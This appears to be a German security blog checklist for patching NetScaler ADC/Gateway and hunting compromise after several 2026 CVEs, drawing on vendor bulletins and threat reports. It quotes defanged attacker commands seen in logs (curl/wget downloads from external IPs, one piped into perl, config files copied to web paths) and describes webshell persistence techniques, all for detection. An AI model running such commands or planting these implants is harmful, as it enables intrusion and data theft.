Schlagwort: Security 4 Beiträge

Kritische Schwachstellen in NetScaler ADC und NetScaler Gateway erfordern ein strukturiertes Vorgehen: Betroffenheit bewerten, den passenden behobenen Build auswählen, die Appliance aktualisieren und anschließend prüfen, ob es Hinweise auf eine frühere Ausnutzung gibt.

Diese Checkliste fasst die Herstellerangaben und zusätzliche öffentlich beschriebene Prüfhinweise zusammen. Maßgeblich bleiben die jeweils aktuellen Citrix-Security-Bulletins, einschließlich CTX697174 und CTX697096, die passende Firmwarevariante und die konkrete Konfiguration deiner Appliance.

Aktuelle Schwachstellen und behobene Builds

Citrix veröffentlichte im Security Bulletin CTX697096 acht Schwachstellen für NetScaler ADC und NetScaler Gateway: CVE-2026-88771 bis CVE-2026-88778. Citrix bestätigt, dass CVE-2026-88771 und CVE-2026-88772 auf nicht behobenen Systemen ausgenutzt wurden. CVE-2026-88779 aus dem späteren Bulletin CTX697174 ist als zusätzliche aktuelle Schwachstelle in die Übersicht aufgenommen.

CVE	Kurzbeschreibung	Voraussetzung laut Citrix
CVE-2026-88771	Unauthentifizierte Remote Code Execution (RCE)	Alle Deployments; keine zusätzliche Funktion erforderlich
CVE-2026-88772	Speicherfehler mit möglicher RCE oder Dienstverweigerung	DTLS aktiv; auf VPN-vServern standardmäßig aktiv, sofern nicht ausdrücklich deaktiviert
CVE-2026-88773	HTTP Request Smuggling	HTTP-Konfiguration aktiviert
CVE-2026-88774	Umgehung einer Funktion-Policy durch HTTP-URL-basierte Expressions	Mindestens eine entsprechende Policy-Expression konfiguriert
CVE-2026-88775	Speicherfehler mit möglichem Fehlverhalten oder DoS	Gateway- oder AAA-vServer
CVE-2026-88776	Speicherfehler mit möglichem Fehlverhalten oder DoS	Oracle-LB-vServer
CVE-2026-88777	Speicherfehler mit möglichem Fehlverhalten oder DoS	LB/CS oder CGNAT-LSN/NAT64 mit nicht-HTTP-Layer-7-Funktion
CVE-2026-88778	Vorhersagbarkeit der TCP Initial Sequence Number (ISN)	TCP-Konfiguration; Citrix verlangt zusätzlich die Aktivierung von Enhanced ISN Generation
CVE-2026-88779	Speicherüberlauf mit möglicher Dienstverweigerung (DoS)	NetScaler als SAML Service Provider (SP) oder SAML Identity Provider (IdP)

Behobene Mindestversionen

Laut CTX697096 gelten folgende Mindeststände:

• NetScaler 14.1: 14.1-73.37 oder neuer
• NetScaler 13.1: 13.1-64.23 oder neuer
• 14.1 FIPS: 14.1-73.37 FIPS oder neuer
• 13.1 FIPS/NDcPP: 13.1-37.279 oder neuer

Diese Mindeststände gelten für CVE-2026-88771 bis CVE-2026-88778. Für CVE-2026-88779 gelten die neueren Mindestbuilds aus Abschnitt „CVE-2026-88779: SAML SP und SAML IdP benötigen neuere Builds“.

Prüfe immer die Build-Nummer und Edition deiner Appliance gegen das aktuelle Bulletin. Die Konfigurationsvoraussetzungen helfen, eine mögliche Exposition vor dem Update einzuordnen. Ein passender vServer bedeutet auf einem behobenen Build nicht automatisch, dass die Appliance weiterhin verwundbar ist. Der Patch beseitigt aber weder eine frühere Exposition rückwirkend noch beweist er, dass vor dem Update keine Ausnutzung stattgefunden hat.

CVE-2026-88771: Die von CERT-EU beschriebene Angriffskette

BeCERT-EU veröffentlichte am 28. September 2026 eine technische Beschreibung der Ausnutzung von CVE-2026-88771. Der Bericht verbindet zwei Spuren, die gemeinsam untersucht werden sollten:

1. HTTP-Requests mit Base64-kodierten Befehlen im User-Agent. In den beobachteten Requests stand der Marker INDEX: vor dem kodierten Inhalt. Nach dem Dekodieren sollten Befehle unter anderem die Webserver-Konfiguration verändern und eine Webshell ablegen.
2. Präparierte Einträge in Authentifizierungs- beziehungsweise Systemprotokollen. Die Einträge enthielten den Text pitboss … PPE missed too many heartbeats beziehungsweise eine verwandte NSPPE-Meldung und nachfolgende Shell-Metazeichen oder Befehlsbestandteile.

CERT-EU und Unit 42 beschreiben, dass ein NetScaler-Hilfsskript (ns_monuploadd_err.pl, auch als ns_monupload_err bezeichnet) passende Meldungen aus Protokollen auswählt. Der letzte passende Logeintrag kann für die Verarbeitung entscheidend sein. Das erklärt, warum Angreifer wiederholt Authentifizierungsanfragen erzeugten: Sie wollten ihren präparierten Eintrag beim Lauf der Routine zum letzten passenden Treffer machen.

Das ist mehr als eine allgemeine Suche nach dem Wort b64decode. Der Base64-Inhalt kann im HTTP-User-Agent stehen, während der Trigger im Authentifizierungs- oder Systemlog auftaucht. Die Einträge müssen deshalb zeitlich miteinander und mit möglichen Folgeartefakten korreliert werden.

Deyda NetScaler IOC Check sucht in verfügbaren HTTP-Logs nach INDEX:-Payloads und in System-/Authentifizierungslogs nach beiden öffentlich beschriebenen Triggern: PPE missed too many heartbeats und PPE unexpectedly died, jeweils in Verbindung mit Shell-Syntax. Unit 42 bestätigt die zweite Form als Teil einer beobachteten Angriffskette. Die Suche erkennt nur die dokumentierten Textmuster; sie kann weder alle Varianten abdecken noch feststellen, ob die Hilfsroutine den Logeintrag tatsächlich verarbeitet hat.

Ein einzelner Treffer beweist nicht, dass die Kette erfolgreich ausgeführt wurde. Entscheidend sind unter anderem die Reihenfolge und Zeitpunkte der Einträge, ob die betreffende Verarbeitung stattfand und ob sich die erwarteten Änderungen oder Dateien auf der Appliance finden lassen. Normale pitboss-Statusmeldungen wie Heartbeat- oder Prozessmeldungen sind für sich genommen kein IOC. Aussagekräftiger ist der passende Trigger in Verbindung mit eingeschleusten Shell-Metazeichen und Befehlen.

CVE-2026-88772: DTLS-Ausnutzung und Post-Exploitation

Ein separater Bericht von Google Threat Intelligence Group und Mandiant beschreibt aktive Ausnutzung von CVE-2026-88772 über DTLS sowie Werkzeuge, die nach erfolgreichem Zugriff eingesetzt wurden. Dieser Pfad ist von der in CERT-EU beschriebenen Log-Injection-Kette für CVE-2026-88771 zu unterscheiden.

Als mögliche Hinweise nennt der Bericht eine DTLSv1.0-Handshake-Fehlermeldung mit Handshake failure-Internal Error in Verbindung mit NSPPE-Abstürzen beziehungsweise Meldungen wie orphan rings oder NOT restarting NSPPE. Ein einzelner Handshake-Fehler oder Absturz ist kein Beweis. Eine zeitliche Korrelation auf derselben Appliance ist ein stärkerer Untersuchungsansatz.

Für die Persistenz beschreibt Mandiant unter anderem PHP-Webshells mit .deb– oder .sig-Endungen, die über veränderte httpd.conf-Handler ausgeführt werden. Eine beobachtete Alias-Technik leitete Anfragen an /vpn/media/*.ico auf .sig-Dateien in VPN-Script-Verzeichnissen um. Auch WHIPSHOT und SLAPSHOT werden beschrieben: WHIPSHOT nutzt HTTP-Header wie HTTP_X_UX als Transport, während SLAPSHOT als Python-Tunneler Verbindungen in interne Netze weiterleiten kann. Als mögliche lokale Artefakte nennt der Bericht /tmp/.uxdport und /tmp/.uxdlock.

Unit 42 ergänzt für CVE-2026-88772 konkrete Abrufe von .deb-Dateien im VPN-Clientverzeichnis, darunter nsgclient18.deb, nsgser18.deb, nsgsupport.deb, nsgpackage64.deb, nsgbuild.deb und die untersuchte Datei nsg64.deb. Das Verzeichnis dient regulär der Bereitstellung von Citrix-Clientpaketen; Dateiname und Speicherort allein reichen deshalb nicht für eine Bewertung. Unit 42 veröffentlichte für das analysierte nsg64.deb den SHA-256 ae22ef2517b5c0fb47f78745b9cb5260acee0e751b89bcd354640ff8bc8d29ec. Der Bericht nennt außerdem 1bd314b661396c7086f6367fbbb48025e03ca2de69c073d53a8b0a38aa5fbb7d für die Base64-Payload und 79c65fa04541032e251fa4796b97800374b63c7982593dd1a2e0db605d429186 für das dekodierte Shell-Script. Diese Hashes identifizieren die veröffentlichten Samples, nicht zwingend abweichende Varianten. Diese Indikatoren sind gezielte Suchhinweise. .deb– oder .sig-Dateien sowie HTTP-404-Antworten sind nicht automatisch bösartig. Handler, Alias-Ziele, Dateiinhalte, Herkunft und Zeitstempel müssen mit einer vertrauenswürdigen Baseline derselben Firmwarevariante verglichen werden. Bei HTTP-Logs sind außerdem Fehlerprotokolle sowie ungewöhnlich große Antworten oder lange Verarbeitungszeiten im Zusammenhang mit vermeintlichen 404-Antworten relevant.

Aktuelle Logbeobachtungen und Abrufziele

In den am 29. September ausgewerteten Logauszügen mehrerer NetScaler-Appliances waren über mehrere Stunden wiederholte, zur beschriebenen Angriffskette passende Versuche zu sehen. Dazu gehörten Authentifizierungs-Logeinträge mit Shell-Metazeichen und Befehlsfolgen.

In den protokollierten Payloads fanden sich unter anderem diese defanged dargestellten Abrufziele:

• curl hxxp://31[.]56[.]197[.]72/kk
• wget beziehungsweise curl zu hxxp://31[.]56[.]197[.]72/lula, teilweise über Port 9090
• curl hxxp://64[.]94[.]85[.]67:443/update_c08937.pl | perl

Weitere Logeinträge enthielten Befehle, die id-Ausgaben unter /netscaler/ns_gui/admin_ui/e.txt ablegen oder /flash/nsconfig/ns.conf nach /var/netscaler/logon/insight-new.js schreiben sollten.

Unit 42 datiert erste Fingerprinting-Requests auf den 21. August, Paketabrufe im DTLS-Zusammenhang auf den Zeitraum 4.–24. September und eine beobachtete CVE-2026-88771-Kette auf den 21. September. Nach der Offenlegung am 27. September registrierte Unit 42 zusätzlich breit angelegte Scans und Tests. Palo Alto Networks nannte 50.277 potenziell verwundbare exponierte Instanzen in der eigenen Cortex-Xpanse-Telemetrie zum 27. September. Das ist eine zeitgebundene Messung dieses Anbieters, keine globale Bestandszahl und kein Befund über die hier beschriebenen Appliances. Diese Beispiele sind in den Logs aufgezeichnete Payload-Inhalte. Sie belegen nicht, dass curl oder wget erfolgreich waren, die Dateien geladen wurden oder ein Befehl tatsächlich ausgeführt wurde. Hostnamen, interne Quelladressen und kundenspezifische Details werden hier bewusst nicht veröffentlicht. Die externen Ziele sind zur Vermeidung aktiver Links defanged dargestellt.

SAML-Anmeldeangriffe: nsaaad-Abstürze auch auf gepatchten Builds

Am 2. Oktober beobachteten wir auf mehreren bereits aktualisierten NetScalern wiederholte Abstürze des Authentifizierungsdienstes nsaaad und anschließende automatische Neustarts. In den untersuchten Ereignissen folgten auf wiederholte Prozessabbrüche mit Status 0x8a das Erreichen des Pitboss-Neustartlimits, die Meldung einer Systemstörung und schließlich der Reboot. Bei zwei Appliances lagen Neustartereignisse ungefähr 30 Sekunden auseinander.

Auf einer Appliance enthielten die Authentifizierungslogs unmittelbar vor den untersuchten Absturzfolgen präparierte Benutzernamen mit Download- und Ausführungsbefehlen. Diese sollten einen Payload von 213[.]209[.]159[.]55 unter /v ablegen und starten. Die Abrufziele verwendeten unverschlüsseltes HTTP über TCP-Port 443 und Pfade unter /t/. Weitere gemeldete Abrufziele liegen unter pyrlnk[.]cc und dessen Subdomains; diese ergänzende Meldung muss getrennt von eigenen Logbefunden bewertet werden.

Diese Befunde belegen Angriffsversuche und zeitlich korrelierte Abstürze. Sie beweisen weder erfolgreiche Befehlsausführung noch eine bestimmte neue CVE oder eine Firmware-Regression. Ein gepatchter Build darf deshalb weder pauschal als kompromittiert noch wegen des Patchstands als gegen diese Ausfälle geschützt bewertet werden. Die Payload-Adresse im protokollierten Befehl ist zunächst ein Abrufziel; daraus lässt sich die eingehende Angreiferadresse nicht ableiten.

Für betroffene Builds stellte der Citrix-Support eine Responder-Policy als Übergangsmaßnahme bereit. Solange die Appliance noch nicht auf dem für CVE-2026-88779 behobenen Build läuft, müssen betroffene SAML-Frontend-vServer und die AAA_REQUEST-Bindung gemäß der aktuellen Support-Anweisung geprüft werden. Nach Installation des behobenen Builds ist diese CVE-spezifische Policy nicht mehr erforderlich; laut Citrix kann sie anschließend entfernt werden. Ein Firmware-Rollback auf einen verwundbaren Build ist keine geeignete Gegenmaßnahme.

CVE-2026-88779: SAML SP und SAML IdP benötigen neuere Builds

Das bereitgestellte Citrix Security Bulletin CTX697174 vom 4. Oktober 2026 beschreibt eine weitere Schwachstelle: CVE-2026-88779, einen Speicherüberlauf mit möglicher Denial of Service. Citrix stuft sie als High ein; der CVSS-v4-Basiswert beträgt 8,7. Voraussetzung ist eine Konfiguration als SAML Service Provider (SP) oder SAML Identity Provider (IdP). Die Angaben dieses Abschnitts beruhen auf der bereitgestellten Bulletin-Fassung; der öffentliche Link konnte bei der Aktualisierung nicht unabhängig abgerufen werden.

• NetScaler 14.1: 14.1-73.41 oder neuer
• NetScaler 13.1: 13.1-64.28 oder neuer
• 14.1 FIPS: 14.1-73.41 FIPS oder neuer
• 13.1 FIPS/NDcPP: 13.1-37.282 oder neuer

Damit sind 14.1-73.37 und 13.1-64.24 bei vorhandener SAML-Konfiguration unterhalb des neuen Mindeststands, auch wenn sie die bisherigen CVEs aus CTX697096 adressieren. Die Schwellenwerte aus Abschnitt 1.1 bleiben für das ältere Bulletin erhalten und dürfen nicht als Entwarnung für CVE-2026-88779 verwendet werden.

Das Bulletin nennt folgende Konfigurationsobjekte als Prüfmerkmale. In der ADC-Shell kannst du die gespeicherte Konfiguration nach den Befehlstypen durchsuchen, ohne vollständige SAML-Objektdefinitionen auszugeben:

add authentication samlAction entspricht dem SP-Prüfmerkmal, add authentication samlIdPProfile dem IdP-Prüfmerkmal. Die gespeicherte Datei kann vom Live-Zustand abweichen. Auch Secure Private Access Hybrid mit kundenseitig verwalteten NetScaler-Instanzen ist laut Bulletin betroffen; Citrix verwaltet die Updates seiner eigenen Cloud-Dienste und Adaptive Authentication selbst.

Der Deyda NetScaler IOC Check ergänzt dafür eine eigene CVE-Bewertung: [ACTION] bei SAML SP/IdP unterhalb des passenden Mindestbuilds, [OK] bei erreichtem Mindestbuild oder ohne diese Konfigurationsobjekte in der geprüften Datei und [CHECK] bei fehlenden Angaben oder unlesbarer Konfiguration. Eine erkannte Workaround-Policy hebt einen offenen Firmwarebefund nicht auf. Der vom Support bestätigte Workaround ist bis zum Update nach der aktuellen Anleitung zu bewerten; das Bulletin empfiehlt die zeitnahe Installation des Updates.

Im ergänzenden Beitrag von NetScaler Cyber Threat Intelligence, „Understanding and Addressing CVE-2026-88779 in Citrix NetScaler ADC and Citrix NetScaler Gateway“, bestätigt Citrix gezielte Angriffe auf nicht mitigierte Deployments. Wiederholtes Auslösen kann den Dienst dauerhaft nicht verfügbar halten. Citrix beschreibt Auswirkungen auf die Verfügbarkeit und hat nach eigener Analyse bislang keine Auswirkungen auf die Integrität der Kundendaten identifiziert. Diese Aussage gilt für die untersuchte Schwachstelle und ist keine allgemeine Entwarnung für frühere Angriffe oder andere CVEs. Der Community-Beitrag wurde am 3. Oktober 2026 nach Pacific Daylight Time aktualisiert; die Angaben stammen aus der bereitgestellten Beitragsfassung.

Damit ist eine SAML-DoS-Schwachstelle mit beobachteter Angriffsaktivität beschrieben. Die Ursache jedes einzelnen nsaaad-Absturzes und eine erfolgreiche Befehlsausführung werden dadurch nicht automatisch belegt. Logs, Core Dumps und Angriffsartefakte weiterhin getrennt korrelieren.

Global Deny List als zusätzliche Mitigation

Citrix nennt im ergänzenden Community-Beitrag die Global Deny List als zusätzliche Mitigation für CVE-2026-88779. Signaturen können die Exposition reduzieren, während die Betroffenheit geprüft und das Firmwareupdate vorbereitet wird. Das Update auf den behobenen Build bleibt erforderlich.

Für den beschriebenen Mitigationsweg gelten folgende Voraussetzungen:

• NetScaler Console Service oder NetScaler Console on-premises mit Cloud Connect.
• „Virtual patching“ ist in NetScaler Console auf „Enabled“ gesetzt.
• Auf der Appliance sind die Default Signatures mit einer Encrypted Version von mindestens 24 verfügbar.
• Die eingesetzte Standard-Firmware liegt im genannten Bereich:

Die Global-Deny-List-Funktion ist laut Citrix ab 14.1-60.52 beziehungsweise 13.1-63.21 standardmäßig aktiviert. Dieser allgemeine Aktivierungsstand ist nicht mit dem engeren Versionsbereich der beschriebenen CVE-Mitigation gleichzusetzen. Ein aktiviertes Feature belegt weder die Ankunft aktueller Signaturen noch die richtige Console-Konfiguration. Für FIPS/NDcPP darf die Eignung dieses Mitigationswegs nicht aus den Standard-Versionsbereichen abgeleitet werden; bestätige sie mit Citrix. Die editionsgerechten behobenen Firmwarestände stehen in Abschnitt „CVE-2026-88779: SAML SP und SAML IdP benötigen neuere Builds“.

Prüfe Signaturen und Statistiken wie in Abschnitt „Global-Deny-List-Signaturen und AAA_REQUEST-Statistiken prüfen“ beschrieben. Blocklisten und zusätzliche Firewall-Regeln können ergänzen, ersetzen aber weder die Signatur- und Konfigurationsprüfung noch den Patch. Die Angreiferinfrastruktur kann wechseln.

Update vorbereiten

Prüfe das aktuelle Security Bulletin und wähle den passenden, unterstützten Zielbuild für Edition und Appliance-Rolle. Dokumentiere Firmwarestand, HA-Status, eingesetzte Funktionen und den Zeitraum, in dem das System erreichbar war. Sichere Konfiguration und relevante Systemdaten und lege einen Rollback-Plan fest. Setze veröffentlichte Workarounds bis zum Update um und dokumentiere die Änderungen.

Firmware aktualisieren

Aktualisiere alle betroffenen NetScaler-Systeme auf einen von Citrix freigegebenen Firmwarestand. Bei HA-Paaren sollte das Update kontrolliert erfolgen und Synchronisation, Failover sowie Erreichbarkeit der veröffentlichten Dienste berücksichtigen. Nicht mehr unterstützte Versionen sollten auf einen unterstützten Release-Zweig migriert werden.

Ein Firmwareupdate beweist nicht, dass das System vor der Aktualisierung unberührt war. Bei kritischen oder aktiv ausgenutzten Schwachstellen gehört deshalb eine anschließende Sicherheitsprüfung zum Ablauf.

Überprüfung der Systeme

Auch bereits aktualisierte Systeme solltest du eingehend prüfen. Der aktuelle Patchstand belegt nicht, dass die Appliance im Zeitraum vor dem Update unangetastet blieb. Bei konkretem Verdacht sichere vor einem Neustart, Update oder einer Bereinigung Beweise, Protokolle und – bei VPX – einen Snapshot nach Incident-Response-Vorgaben. Dokumentiere Systemzeit, Zeitzone und NTP-Einstellungen.

Öffentliche Berichte beschreiben Ausnutzungsaktivität seit Anfang September 2026. Beziehe diesen Zeitraum nach Möglichkeit in die Rückwärtssuche ein, sofern Protokolle noch vorhanden sind. Das ist ein vorsichtiger Untersuchungszeitraum und kein Beleg dafür, dass jede Appliance ab diesem Datum angegriffen wurde. Berücksichtige die tatsächliche Erreichbarkeit und den Patchzeitpunkt des jeweiligen Systems.

Zeitpunkt des letzten Firmwareupdates ermitteln

Nutze /var/nsinstall/installns_state als zeitlichen Anhaltspunkt: Das Script liest automatisch den Änderungszeitpunkt dieser Datei. Er ist kein unabhängiger Nachweis für ein abgeschlossenes Firmwareupdate. Gleiche ihn mit Systemmeldungen, Neustarts, installierten Builds und Wartungsdokumentation ab. Für eine manuelle Sichtung hilft ls -ll /var/nsinstall.

Für manuelle Dateisuchen verwende einen Startzeitpunkt nach dem letzten Update. Das Datum ist ein Filter, kein Beweis für den Zeitpunkt einer Änderung. Das Script benötigt kein drittes Datumsargument; auf einer Appliance nutzt es installns_state als Marker. Im Exportmodus steht dieser Marker nicht zur Verfügung.

Reboots und Cold Starts

Prüfe die Reboot- und Shutdown-Historie. Verwende auf NetScaler/BSD last ohne das nicht unterstützte -x. Ein unerwarteter Neustart ist allein kein Nachweis einer Ausnutzung; korreliere Zeitpunkte mit HTTP-Zugriffen, Systemmeldungen, Core Dumps und anderen Ereignissen. Fehlende Einträge schließen einen Neustart nicht sicher aus, weil Protokolle fehlen oder rotiert sein können.

Für die aktuelle SAML-Absturzfolge suche zusätzlich nach tatsächlichen nsaaad-Prozessereignissen, dem Neustartlimit und der Systemfehler-Meldung. Die folgenden Befehle werden in der ADC-Shell ausgeführt:

Bewerte die Ereignisse in zeitlicher Reihenfolge und unter Berücksichtigung der Zeitzone. Die bloße Erwähnung von nsaaad in einer Prozessliste oder einem Authentifizierungslog ist kein Absturznachweis. Fehlende /v-Dateien oder Core Dumps schließen frühere Ausführung, Bereinigung oder einen Absturz nicht aus. Sichere vorhandene Crash-Dateien, die relevanten Logs und ein Support Bundle und eröffne einen Citrix-Supportfall.

Veränderte Dateien

Suche nach Dateien, die nach dem letzten Firmwareupdate neu angelegt oder verändert wurden. Berücksichtige genehmigte Anpassungen, etwa an Logon-Seiten oder Themes. Die Pfade /var/vpn/, /var/netscaler/logon/, /var/python/ und /netscaler/ns_gui/ sind dabei besonders relevant.

Zeitstempel unter /netscaler/ns_gui/ können sich auch durch Neustarts ändern. Bewerte dortige Zeitstempel deshalb gemeinsam mit Inhalt, Eigentümer, Berechtigungen, Logs und genehmigten Änderungen.

Neue Dateien und Webshells

Prüfe unbekannte PHP-, Perl-, Python-, JavaScript-, HTML-, Shell- und ELF-Dateien in /var/vpn/, /var/netscaler/logon/, /var/python/, /netscaler/ns_gui/, /var/nsproflog/, /var/netscaler/gui/, /netscaler/portal/, /tmp/ und /var/tmp/. Suche nicht nur nach bekannten Namen: Dateinamen und Pfade können verändert werden.

Die neueren Prüfhinweise umfassen außerdem .ctxs.receiver (Name, Inhalt und Hash), receiver.min.css-Aliase, nx_verify.html, bekannte temporäre Dateien sowie kleine Dateien mit uid=… gid=…-Befehlsausgaben. In einer von Beazley beschriebenen Kampagne wurden außerdem Marker mit dem Text NX-CVE-OK unter /netscaler/ns_gui/ und /var/netscaler/ beobachtet. Suche nach diesem exakten Text, aber werte einen Treffer zunächst nur als [CHECK]: Er muss mit Erstellungszeit, Inhalt, zugehörigen Logs und bekannten Wartungs- oder Testaktivitäten korreliert werden. Dateien unter /netscaler/ns_gui/ können bei einem Neustart neu erstellt oder entfernt werden; ein fehlender Marker schließt daher eine frühere Aktivität nicht aus. Untersuche unbekannte .dot-Dateien im Verzeichnis /var/netscaler/logon/LogonPoint/custom anhand von Inhalt, Zeitstempel, Eigentümer und Berechtigungen. Sichere verdächtige Funde vor einer Bereinigung.

Für veröffentlichte Persistenzmuster prüfe httpd.conf auf unerwartete AddHandler-/AddType-Regeln, die .deb, .sig, .rpm, .tgz oder .html als PHP behandeln, sowie auf Alias-Regeln für /vpn/media/, /vpn/theme/ oder /vpn/images/, die auf Script-Verzeichnisse zeigen. VPN-Script-Verzeichnisse wie /var/netscaler/gui/vpn/scripts/linux und /netscaler/ns_gui/vpn/scripts/linux sowie Varianten unter vpns/scripts/vista und vpns/scripts/mac sind auf unerwartete .sig-, .deb– und PHP-Dateien zu prüfen.

Unit 42 beschreibt für .ctxs.receiver außerdem die Ausführung eines über das Cookie NSC_TASS übergebenen Befehls nach Prüfung eines CsrfToken-Cookies. Als weitere zusammengehörige Hinweise nennt der Bericht einen receiver.min.css-Alias, eine PHP-Freigabe in httpd.conf und einen Apache-Reload per HUP. Suche nach diesen Merkmalen im Dateiinhalts- und Konfigurationskontext; ein einzelner Cookie-Name, PHP-Eintrag oder Reload ist kein Kompromittierungsnachweis. Die im Bericht gezeigten Tokenwerte können sich zwischen Implantaten unterscheiden. Einzelne PHP-Zeilen oder Dateinamen sind nicht automatisch ein IOC. Vergleiche Konfiguration, Dateiinhalte und Metadaten mit einer vertrauenswürdigen Baseline derselben Version und berücksichtige dokumentierte Änderungen.

HTTP-Fehlerprotokolle

Prüfe HTTP-Fehler- und Zugriffsprotokolle auf unerwartete Ressourcen, ungewöhnliche POST-Anfragen, untypische User-Agents, Authentifizierungs- und VPN-Aufrufe sowie .sh-, .php-, .pl-, .sig– und .deb-Referenzen. Korreliere verdächtige Anfragen mit neu angelegten Dateien, NSPPE-Abstürzen, Neustarts und dem Upgrade-Zeitpunkt.

Für CVE-2026-88771 suche zusätzlich nach INDEX:-Payloads in HTTP-User-Agents und nach verdächtigen externen Abrufzielen. Base64-Inhalte ausschließlich zur Anzeige dekodieren und niemals ausführen. Eine Suche nach b64decode allein reicht nicht aus, da ein Request kodierte Inhalte enthalten kann, ohne das Wort b64decode zu enthalten.

Ein Treffer kann einen Angriff oder Folgeaktivität anzeigen, beweist aber allein keine erfolgreiche Ausführung. Gleiche Zeitstempel mit Authentifizierungs-, System-, Shell- und Reboot-Protokollen ab. Auch ein leerer Suchlauf ist nur für verfügbare Logs und deren Aufbewahrungszeitraum aussagekräftig.

Shell- und Bash-Protokolle

Durchsuche /var/log/sh.log* und /var/log/bash.log* nach unerwarteten Discovery-, Download-, Datei- und Shell-Befehlen. Prüfe die Authentifizierungs-/Systemlogs zusätzlich auf beide von CERT-EU genannten PPE-Textvarianten (missed too many heartbeats und unexpectedly died): Relevante Zeichenfolgen können unter anderem database.php, /flash/nsconfig/keys, LDAPTLS_REQCERT, ldapsearch, openssl, /nsconfig/ns.conf, /etc/auth.conf, .F1.key, .F2.key, nobody, id, curl oder wget sein.

Für CVE-2026-88771 sind Authentifizierungs- oder Systemlogzeilen mit pitboss-/PPE-Triggern zusammen mit Shell-Metazeichen und Befehlen besonders relevant. Normale pitboss-Heartbeat-Meldungen allein sind kein IOC. Untersuche die vollständige Logzeile und korreliere sie zeitlich mit HTTP-Requests und möglichen Datei- oder Prozessartefakten.

Weitere Protokolldateien und Abdeckung

Prüfe auf Protokolllücken, ungewöhnlich frühe Logrotation sowie Zeitstempel, die nicht zu Systemzeit, Zeitzone, NTP-Konfiguration oder dem Ereignisverlauf passen. Neben lokalen Logs sollten Remote-Syslog und NetScaler Console einbezogen werden. Ergänze – sofern in der Umgebung aktiviert und aufbewahrt – NetScaler Web Logging, AppFlow, Firewall-/Flow-Daten und SIEM-Exporte. Nicht alle relevanten Meldungen werden standardmäßig an externe Systeme weitergeleitet. Dokumentiere daher Quelle, Zeitraum, Zeitzone und Aufbewahrungsdauer jeder geprüften Datenquelle; ein fehlender Treffer ist nur für tatsächlich vorhandene und lesbare Daten aussagekräftig.

Der Befehl ist eine grobe Suche und kein vollständiger Parser. Passe Muster und Logpfade an die tatsächlich vorhandenen Quellen an. Bei einem sauberen Ergebnis muss dokumentiert bleiben, welche Protokolle und Zeiträume geprüft wurden.

Integrität von httpd.conf und /bin/sh

Prüfe die auf dem Build verwendete httpd.conf – häufig /etc/httpd.conf – auf unerwartete PHP-Aktivierungen, Webshell-Aliase und Änderungen gegenüber einer vertrauenswürdigen Baseline derselben Version und Edition. Zeitstempel allein reichen nicht. AddType application/x-httpd-php .php oder php_flag engine off können regulär vorkommen; entscheidend sind unerwartete Handler, Alias-Ziele und Konfigurationsabweichungen.

Vergleiche außerdem Modus, Eigentümer, Gruppe, Zeitstempel und SHA-256-Hash von /bin/sh. Besonders ein unerwartetes SUID-/SGID-Bit ist kritisch. Das Script enthält für NetScaler 14.1-73.37 zusätzlich einen internen Einzelgeräte-Referenzwert für /bin/sh-Hash und Metadaten. Stimmen Hash, Modus, numerischer Eigentümer/Gruppe und Dateigröße überein, kann das Script [OK] melden. Die Referenz ist weder Citrix-veröffentlicht noch universell für andere Editionen und Varianten.

Sprachdateien in LogonPoint/custom

Prüfe Dateien wie strings.ko.js, strings.ru.js und strings.zh-TW.js auf unerwartete Änderungen. XMLHttpRequest als einzelner Callback-Parameter ist kein IOC. Aussagekräftiger sind neu erzeugte Request-Objekte oder Versandfunktionen wie new XMLHttpRequest, .open(), .send(), fetch(), sendBeacon, Zugriffe auf document.cookie oder unerwartete externe Ziele. Vergleiche Inhalt und Hash mit unveränderten Sprachdateien derselben Appliance oder einer passenden Baseline.

Das Script vergleicht zwölf strings.*.js-Dateien anhand von Anzahl, Dateinamen und SHA-256 mit einer internen Referenz aus einem sauberen NetScaler 14.1-73.37-System. Nur wenn alle zwölf übereinstimmen, meldet der Referenzvergleich [OK]; fehlende, zusätzliche oder veränderte Dateien ergeben [CHECK]. Eine Abweichung ist ein Prüfhinweis und kann auch auf legitime Anpassungen zurückgehen.

Veränderte Dateien mit gesetztem SUID-Bit

Prüfe neue oder veränderte SUID-/SGID-Dateien und vergleiche Eigentümer, Rechte und Zeitstempel mit dem Sollzustand. Kopierte Shells oder eine unerwartete SUID-Berechtigung auf /bin/sh sind hochkritisch und müssen forensisch bewertet werden. Einige NetScaler-interne Dateien in /var tragen ebenfalls besondere Berechtigungsbits. Für /var/run/nsprofmgmt.pid ist der Inhalt eine dynamische PID; prüfe, ob sie zum laufenden /netscaler/nsprofmgmt-Prozess gehört, statt den Datei-Hash fest zu vergleichen. /var/nslog/nslog.nextfile enthält einen numerischen Logging-Zustand, der sich ändern kann. Metadaten und Format sind hier aussagekräftiger als ein Snapshot-Hash.

Prozesse des Benutzers nobody

Ungewöhnliche Prozesse im Kontext von nobody können verdächtig sein, der Account wird aber auch von legitimen NetScaler-Komponenten verwendet. Vergleiche Prozess, Pfad, Startzeit und Kommandozeile mit dem erwarteten Sollzustand; /bin/httpd ist nicht automatisch verdächtig.

Cron-Konfiguration auf neue Einträge prüfen

Prüfe /etc/crontab, Crontabs der Benutzer root, nsroot und nobody, /var/cron/tabs sowie Persistenzskripte wie /flash/nsconfig/rc.netscaler, /nsconfig/rc.netscaler, /nsconfig/nsafter.sh und /etc/monitrc auf unerwartete Befehle, die Dateien nach einem Neustart erneut anlegen, SUID-Rechte setzen oder Prozesse verbergen beziehungsweise beenden. Pfade und verfügbare Werkzeuge unterscheiden sich je nach Build; vergleiche tatsächliche Inhalte mit einer passenden Baseline.

Einträge wie iprep können bei aktivierter IP Reputation oder App-Firewall-Skripte bei tatsächlich verwendeter App Firewall legitim sein. Auch /netscaler/adss-licexp.sh kann im Zusammenhang mit Testlizenzen vorkommen. Bewerte Cron-Einträge nach aktivierten Funktionen und demselben Build; die Beispiele sind keine universelle Allowlist.

Als konfigurationsabhängige Beispiele für legitime Einträge kommen außerdem /netscaler/iprep sowie /netscaler/aslearn_health_monitor.py und /netscaler/appfw_dynamic_profiles/appfw_dynamic_profiles.py infrage. Prüfe jeweils, ob die zugehörige Funktion – IP Reputation oder App Firewall – tatsächlich genutzt wird.

NetScaler-HA-Systeme

Untersuche unerklärliche HA-Synchronisationsfehler und den Prozess nsfsyncd, der für die Dateisynchronisation relevant ist. Auf einer Standalone-Appliance ist nsfsyncd nicht zwingend zu erwarten. Prüfe beide Knoten eines HA-Paars separat; ein unauffälliger Knoten entlastet den Partner nicht.

Gateway- und VPN-Zugriffsprotokolle

